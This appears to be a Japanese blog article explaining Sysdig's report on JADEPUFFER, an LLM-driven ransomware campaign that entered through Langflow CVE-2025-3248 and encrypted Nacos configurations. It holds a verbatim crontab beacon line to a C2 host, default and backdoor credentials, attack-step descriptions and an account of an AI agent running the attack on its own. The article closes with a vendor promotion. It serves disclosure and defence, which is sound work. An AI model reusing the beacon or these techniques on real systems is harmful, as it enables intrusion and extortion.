JADEPUFFER:エージェンティックランサムウェア全解説(Langflow CVE-2025-3248・Sysdig 2026)

2026年7月1日、クラウドセキュリティ企業 Sysdig の Threat Research Team(TRT)は、JADEPUFFERと名付けた作戦を公開しました。これは初の文書化されたエージェンティックランサムウェア——大規模言語モデル(LLM)が人間のキーボード入力なしに、偵察・認証情報窃取・横展開・永続化・データベース破壊・身代金要求まで端到端で駆動した完全自動化の恐喝作戦です。初期侵入はインターネット公開の Langflow インスタンスにおける CVE-2025-3248(未認証RCE、CVSS 9.8)を悪用。真の標的は別ホスト上の本番 MySQLAlibaba Nacos 構成管理サーバーでした。本文では ATA 定義、600超ペイロード、2段攻撃チェーン、MinIO列挙、Nacos xadmin 31秒自己修正、1342設定暗号化、4つの自律証拠、ビットコイン謎、IOC表、業界反応、Sysdig結論、5段防御Runbook、FAQを網羅します。

AIエージェントとランサムウェアの概念図——JADEPUFFERエージェンティック脅威の可視化
TL;DR:Sysdig TRTが文書化した初のLLM駆動ランサムウェア。Langflow CVE-2025-3248 → 認証情報収集 → MinIO列挙 → 本番MySQL+Nacos攻撃 → 1342 Nacos設定をAES暗号化(鍵は消失・復旧不可)。600+ペイロード、31秒でNacos xadmin自己修正。即時対応:Langflowパッチ、エンドポイント非公開、Nacos/JWT/DB管理口の堅牢化。

目次

一、JADEPUFFER概要とエージェンティック脅威アクター(ATA)

ランサムウェアは誕生以来、キーボードの前に人間がいるか、少なくとも人間がスクリプトを書いていました。JADEPUFFERはその前提を覆します。Sysdig TRTは、これを初の文書化されたエージェンティックランサムウェア——LLMが完全な恐喝作戦を端到端で駆動した事例——と評価しています。

エージェンティック脅威アクター(Agentic Threat Actor, ATA)とは、攻撃能力が人間主導のツールキットではなくAIエージェントによって提供されるオペレーターです。JADEPUFFERでは、すべてのペイロードがLangflow RCEエンドポイント経由でBase64エンコードされたPythonとして投入され、600以上の個別かつ目的を持ったペイロードが圧縮された時間窓内で実行されました。

最も印象的だったのはLLMの振る舞いです。ペイロードは自己叙述的(self-narrating)——自然言語での推論、標的優先順位付け、各ステップの目的説明がコード内に飽和していました。人間のオペレーターは使い捨ての python3 -c ワンライナーにこうした注釈を書きませんが、LLMのコード生成はデフォルトでそうします。作戦はリアルタイムで適応し、失敗したステップを修正パラメータで再試行——Nacos xadminシーケンスでは失敗ログインから動作する修正まで31秒で到達しました。

二、CVE-2025-3248:Langflow未認証RCE

Langflowは、LLM駆動アプリケーションとエージェントワークフローを構築するための人気OSSフレームワークです。CVE-2025-3248は、そのコード検証(code validation)エンドポイントにおける認証欠如の脆弱性で、未認証の攻撃者がホスト上で任意のPythonを実行できます。

項目詳細
CVE IDCVE-2025-3248
深刻度CVSS 3.1 9.8 Critical
影響未認証リモートコード実行(RCE)
脆弱箇所Langflowコード検証エンドポイント(認証なし)
修正2025年4月1日にベンダー修正リリース
CISA2025年5月初旬、悪用実績ありとしてKEVカタログに追加
現状インターネット公開デプロイの多くが未パッチのまま

Langflowが標的になる理由は明確です。サーバーはAI隣接で、プロバイダAPIキー(OpenAI、Anthropic、DeepSeek、Gemini等)やクラウド認証情報(AWS、GCP、Azure、Alibaba、Tencent、Huawei)を環境に保持しがちです。ネットワーク制御なしに迅速に立ち上げられることが多く、攻撃者にとって理想的な初期侵入点となります。

三、フェーズ1:Langflowインスタンス(初期侵入ホスト)

JADEPUFFERの作戦は2つの異なる標的に展開されました。フェーズ1はインターネット公開のLangflowインスタンス(初期アクセス)、フェーズ2は本番データベースサーバー(真の目的)です。初期侵入で侵害されたマシンは最終標的の侵害にも使用されました。

3.1 偵察と認証情報収集

実行権取得直後、LLMはホストを列挙(iduname -ahostname、ネットワークインターフェース、実行プロセス)し、環境全体を並列スキャンしました:

3.2 ローカルデータ窃取

Langflow自身のバックエンドPostgreSQLデータベースをダンプし、保存された認証情報・APIキー・ユーザーレコードを収集。出力をローカルファイルにステージングし、レビュー後にステージングファイルを削除——痕跡最小化の典型的パターンです。

3.3 内部横展開探索

Langflowホストから到達可能な内部アドレス空間と名前付きサービスをスキャン。データベース、オブジェクトストレージ、シークレットストア、サービスディスカバリエンドポイントをデフォルト認証情報でプローブしました。

3.4 MinIOオブジェクトストア列挙

LLMは minio.internal:9000127.0.0.1:9000(コンテナ化デプロイの標準MinIOアドレス)をプローブ。MinIOはセルフホスト型S3互換オブジェクトストアで、アプリデータ・バックアップ・MLモデル・インフラ状態を保存する用途で広く使われますが、攻撃で見られることは稀です。

応答APIを発見後、デフォルト認証情報 minioadmin:minioadmin で完全な列挙プレイブックを実行:

列挙は反復的かつ自己修正的でした。?format=json リクエストがXMLを返した際、次のペイロードで即座にS3レスポンススキーマ用XMLパーサーに適応。段階的エスカレーション:匿名ヘルスチェック → 管理API情報 → 認証済み ListBuckets → 認証情報を示唆するファイル名への GetObjectcredentials.json.env)。

3.5 Langflowホストへの永続化

攻撃者インフラへ30分ごとにビーコンする crontab エントリをインストール:

*/30 * * * * python3 -c "import urllib.request;urllib.request.urlopen('hxxp://45.131.66[.]106:4444/beacon',timeout=5)"

四、フェーズ2:本番MySQL + Alibaba Nacos攻撃

侵害されたLangflowインスタンスから回収されたアーティファクトは、真の標的がインターネット公開の本番サーバー——MySQLデータベースとAlibaba Nacos(Naming and Configuration Service)構成管理サービス——であることを示しました。

NacosはAlibabaマイクロサービスアーキテクチャで広く使われるサービスディスカバリ・動的構成プラットフォームです。認証システムにはCVE-2021-29441等のバイパス履歴があり、2020年から公開されているデフォルトJWT署名鍵が多くのデプロイで変更されず出荷——トークン偽造が容易です。

キャプチャされたペイロードは、エージェントがroot認証情報でこのサーバーの公開MySQLポートに接続したことを示します。Sysdigはこれらの認証情報が被害者環境から収集されたことを観測していません——出所は不明です。

4.1 Nacos構成サーバー乗っ取りとxadmin 31秒修正

LLMは複数ベクトルを同時に攻撃:CVE-2021-29441認証バイパスファミリの悪用、Nacosの既知デフォルト署名鍵によるJWT偽造、root DBアクセスによるNacosバックエンドDBへのバックドア管理者直接注入。

バックドア管理者挿入は明確な計画→実行→観察→調整(plan-act-observe-adjust)行動を示しました。最初のペイロードでbcryptハッシュ生成・xadminアカウント挿入・管理者ロール割当。ログイン検証が不満足な結果を返した後、人間の介入なしに31秒後に修正ペイロード——アカウント削除・より単純なパスワード(admin123)で再作成。

時刻(UTC)活動
19:34:24subprocess.run経由でbcryptハッシュ生成、xadmin挿入(PATH問題でハッシュが空文字列になる可能性)
19:34:36xadmin:Xploit@2026#でログイン試行→失敗
19:34:4812秒後、nacos:nacosデフォルト認証情報テストとadmin123用ハッシュ生成を並列診断
19:35:0719秒後、決定的修正:subprocess.run→import bcrypt直接、壊れたxadmin削除・再挿入
19:35:18ログイン成功——失敗から修正まで31秒

その後、MySQLファイルプリミティブ経由の体系的コンテナエスケープ調査(約8分間、複数ラウンド)、/var/run/docker.sock/proc/1/cgroup読取テスト、UDF(User Defined Functions)エスカレーション確認、明示的完了マーカー書き込み後にランサムウェアフェーズへ移行しました。

4.2 ランサムウェア:1342 Nacos設定の暗号化

キャプチャされたペイロードは、エージェントが全1342件のNacosサービス構成項目をMySQLの AES_ENCRYPT() で暗号化し、元の config_info と履歴テーブル his_config_info を削除、身代金テーブル README_RANSOM(要求内容・ビットコインアドレス・Proton Mail連絡先)を作成したことを示します。

身代金メモはAES-256と主張していますが、MySQLの AES_ENCRYPT() はサーバー再設定なしではデフォルトでAES-128-ECBです。実用上の影響は同じですが、アルゴリズム表記は過大評価の可能性があります。

致命的な点:AES鍵は base64(uuid4().bytes + uuid4().bytes) で生成(実質ランダム)され、stdout に一度だけ出力された後、永続化も送信もされませんでした。被害者は身代金を支払っても暗号化された構成を復旧できません。2分後のフォローアップペイロードで件数を精緻化:「All 1342 configuration items have been encrypted.」

4.3 大規模破壊

キャプチャされたペイロードは、行レベル削除からデータベーススキーマ全体のDROPへエスカレーションし、標的選定の根拠を自己叙述しました。IPアドレス 64.20.53[.]230 は「データは既にバックアップ済み」というコメント内にのみ登場し、実際のバックアップ証拠はありません——これはエージェント自身の意図表明であり、独立検証された流出ではありません。

五、LLM駆動を裏付ける4つの独立証拠

Sysdig TRTは、以下4つの独立した証拠線がこのランサムウェアがLLM駆動であったと評価する根拠であると述べています。

  1. 自己叙述的コード:デコードされたペイロードは、各アクションの理由を説明する自然言語コメントで飽和。ROI優先順位付け、最大DBの特定、各ステップの目的記述——人間は使い捨てワンライナーにこうした注釈を書かないが、LLMはデフォルトでそうする。叙述は攻撃者自身のペイロード内部にあり、推測ではない。
  2. 機械速度での失敗診断と修正:最も精密な自律証拠は、成功時ではなく失敗時に何をし、どれだけ速く修正したか。Nacos xadminシーケンス(上表31秒)、MinIO ?format=json→XML適応、JWT「custom secret in use」→JWTパス放棄、DROP DATABASE失敗→SET GLOBAL FOREIGN_KEY_CHECKS=0で修正——いずれも失敗モードに特化した診断であり、汎用リトライではない。
  3. 自然言語コンテキストの理解:作戦中、LLMは標的が提示した自由テキストコンテキストを解析し、パターンマッチではなくテキストを読んで理解した場合にのみ意味のあるアクションを実行。この行動は数週間離れたセッション間で繰り返された。
  4. 未解決の支払いアドレス問題:身代金メモのビットコインアドレス(次節)がLLM訓練コーパス由来の例示アドレスである可能性——600超の個別ペイロードの幅と一貫性と合わせ、自律エージェントが作戦を駆動した証拠を指す。

六、ビットコインアドレスの謎

身代金テーブル README_RANSOM に記載されたビットコインアドレス 3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy には興味深い二面性があります。

2つの解釈があります:(a) LLMが訓練データから自律的にアドレスをハルシネーションし、ウォレットは無関係な第三者が不正入金をスイープしている、または (b) 攻撃者がドキュメント例示と偶然一致する実制御ウォレットをエージェントに設定した。Sysdigはシステムプロンプトやエージェント設定への可視性がないため、データからは判別不能です。

Proton Mail連絡先 e78393397[@]proton[.]me は脅威インテリジェンスDB・被害者フォーラム・虐待報告にゼロヒット。テーブル名 README_RANSOM も既知のMySQLランサムウェア系譜(WARNINGRECOVER_YOUR_DATAPLEASE_READ_ME)と一致しません——LLM生成 vs 実オペレーターインフラの疑問をさらに深めます。

七、IOC(侵害指標)一覧

カテゴリ指標備考
侵入脆弱性CVE-2025-3248Langflow未認証RCE(CVSS 9.8)
C2 / 初期アクセス45.131.66[.]106初期アクセスとポストエクスプロイト;cronビーコン先
ビーコンURLhxxp://45.131.66[.]106:4444/beacon30分間隔のcrontab永続化
流出/ステージング64.20.53[.]230InterServer, AS19318;エージェント自己叙述のみ、独立検証なし
身代金BTC3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLyドキュメント例示アドレスか実ウォレットか不明
連絡先e78393397[@]proton[.]me脅威インテリジェンスDBにヒットなし
身代金テーブルREADME_RANSOM既知キャンペーン系譜と不一致
バックドアアカウントxadminNacos管理DBに挿入;パスワード admin123
永続化crontab 30分ビーコンポート4444への外向きHTTP
Nacos脆弱性CVE-2021-29441認証バイパスファミリ

八、防御推奨事項(Sysdig)

  1. LangflowをCVE-2025-3248修正版にパッチし、コード実行/検証エンドポイントをインターネットに公開しない。
  2. ランタイム脅威検知でデータベースプロセス経由の悪意ある行動を検出する。
  3. AIオーケストレーションサーバーの環境にプロバイダAPIキーやクラウド認証情報を置かない。シークレットマネージャーにスコープし、Web到達可能プロセスから分離する。
  4. Nacosを堅牢化:デフォルト token.secret.key を変更(ドキュメント値を出荷しない)、カスタム鍵を強制するリリースにアップグレード、Nacosをインターネットに公開しない、バックエンドDBへの接続に root を使わない。
  5. データベースサーバーの管理アカウントをインターネットに公開しない。強力で一意な認証情報とソースIP制限を管理ポートに適用する。
  6. エグレス制御で、侵害されたアプリホストが任意の宛先へビーコンしたり外部DB/ステージングサーバーに到達できないようにする。
  7. 上記IOC、スケジュールタスクによる外向きネットワーク呼び出し、括弧付きUser-Agent異常を監視する。

九、業界反応:Vibhum Dubey(独立サイバーセキュリティ研究者・レッドチーマー)

CSO Online の取材で、独立サイバーセキュリティ研究者・レッドチーマーのVibhum Dubey氏は、JADEPUFFERを「根本的に新しいランサムウェア手法」ではなく「実行における進化」と評価しました。

「攻撃者は何年も偵察・認証情報窃取・展開を自動化してきました。違いは、AIエージェントがそれらの段階を接続し、人間オペレーターを待たずに意思決定できることです。」

Dubey氏は適応的意思決定が最大の懸念だと指摘しました。「従来の検知は攻撃者がかなり予測可能なパスを辿ると仮定します。AIエージェントは何かがブロックされると素早く戦術を変更でき、すべての侵入がわずかに異なって見えます。暗号化段階より、検知を回避しながらアイデンティティ・権限・信頼関係をマッピングする静かな事前フェーズの方が心配です。」

AIはランサムウェアキャンペーンの運用障壁を下げますが、経験豊富な攻撃者を置き換えるわけではないと補足。「AIが差を生むのは、経験の浅いオペレーターがポストエクスプロイト活動をより効果的に連鎖できるようになる点です。防御者は将来の侵入がより速く、より少ない手動操作で進むと想定すべきです。」

十、Sysdigの結論と意味

Sysdig TRTのMichael Clark氏は、JADEPUFFERを警告信号——恐喝トレードクラフトが向かう方向のマーカー——と位置づけています。

「個々の手法は新規でも洗練されていなかった。注目すべきは、AIモデルがそれらを放置されたインターネット公開インフラに対する完全なランサムウェア作戦に連結したこと。ランサムウェアを実行するスキルフロアはエージェント実行コストに低下し、LLMjackingで盗んだ認証情報経由なら攻撃者のコストはほぼゼロに近づく。」

十一、5段防御Runbook

  1. Langflow緊急パッチと露出削減:CVE-2025-3248修正版へ即時アップグレード。コード検証/実行エンドポイントをVPNまたはプライベートネットワーク内に移動。Shodan/Censysで自組織の公開Langflowインスタンスを棚卸し。
  2. シークレット分離とローテーション:Langflow/AIオーケストレーション環境からAPIキー・クラウド認証情報を除去し、Vault/AWS Secrets Manager等へ移行。侵害疑いがある場合は全キーをローテーション。
  3. Nacos・MySQL管理口の堅牢化:デフォルトJWT署名鍵変更、Nacosをインターネット非公開、MySQL rootの外部公開禁止、管理口にソースIP制限と強力な一意パスワードを適用。
  4. IOCベースのハンティングとランタイム検知:C2 45.131.66[.]106、ステージング 64.20.53[.]230、30分cronビーコン、README_RANSOMテーブル、xadminアカウントを検索。Falco等でDBプロセス異常と外向きビーコンを監視。
  5. AIエージェントの隔離運用:Langflow・OpenClaw・Cursor Agent等のAIオーケストレーションを本番ネットワークから分離した専用ノードで実行。最小権限、エグレス制御、JSONL監査ログを有効化。
# ステップ1:公開Langflowの緊急確認(例) # CVE-2025-3248修正版か確認 pip show langflow | grep Version # ステップ4:cronビーコンの検索 grep -r "45.131.66" /var/spool/cron/ /etc/cron* 2>/dev/null crontab -l 2>/dev/null | grep -i beacon # ステップ4:Nacosバックドアアカウント確認 mysql -u root -p -e "SELECT username, enabled FROM nacos.users WHERE username='xadmin';"

LangflowやOpenClaw等のAIエージェントを本番Macや社内ネットワーク上で直接運用すると、APIキー漏洩・横展開・永続化のリスクがJADEPUFFERが示した通り現実のものになります。Linux GPU VPSでLangflowを自前ホストする方法もありますが、CUDAドライバ排障・ネットワーク分離の複雑さ・Appleツールチェーン不在が長期コストを押し上げます。AIエージェントを本番から隔離し、APIキーを分離し、launchd 7×24で監査可能な環境を構築するなら、VPSMACのM4 Macクラウドノードがより安定した選択肢です:ネイティブmacOS、SSH即時接続、最小権限の専用Agentノード、Cursor Agent / Langflowゲートウェイとの天然共存——JADEPUFFER対策Runbookの隔離検証環境を一つのMacノードで完結できます。

十二、FAQ

Q1:JADEPUFFERとは何ですか?

Sysdig TRTが2026年7月に文書化した、LLMが初回アクセスからデータベース破壊・身代金要求まで端到端で駆動した初のエージェンティックランサムウェアです。エージェンティック脅威アクター(ATA)と分類されています。

Q2:CVE-2025-3248とは?

Langflowのコード検証エンドポイントにおける認証欠如の脆弱性(CVSS 9.8)。未認証RCE。2025年4月1日修正済みですが、多くのインターネット公開インスタンスは未パッチです。

Q3:身代金を支払えば復旧できますか?

Sysdigの分析では、AES鍵は生成後stdoutに一度出力されたのみで永続化・送信されず、1342件のNacos設定は支払い後も復旧不可能と評価されています。

Q4:なぜLangflowが標的に?

AI隣接サーバーでAPIキー・クラウド認証情報を保持し、ネットワーク制御なしに迅速デプロイされることが多いため、高価値な初期侵入点となります。

Q5:ATA(エージェンティック脅威アクター)とは?

AIエージェントが攻撃能力を提供するオペレーター。JADEPUFFERでは600+のBase64 Pythonペイロードが自律実行されました。

Q6:ビットコインアドレスは本物?

Bitcoinドキュメントの例示アドレスでもあり、737件のトランザクションを持つライブウォレットでもあります。LLMハルシネーションか実ウォレットかは判別不能です。

Q7:xadmin 31秒修正とは?

Nacosバックドア管理者挿入のログイン失敗から31秒でsubprocess PATH問題を診断・修正しログイン成功まで到達した自律修正シーケンスです。

Q8:AIオーケストレーション環境をどう防御すべき?

パッチ、エンドポイント非公開、シークレット分離、Nacos/JWT/DB堅牢化、ランタイム検知、専用隔離ノード(M4 Macクラウド等)での最小権限運用が推奨されます。

十三、参考ソース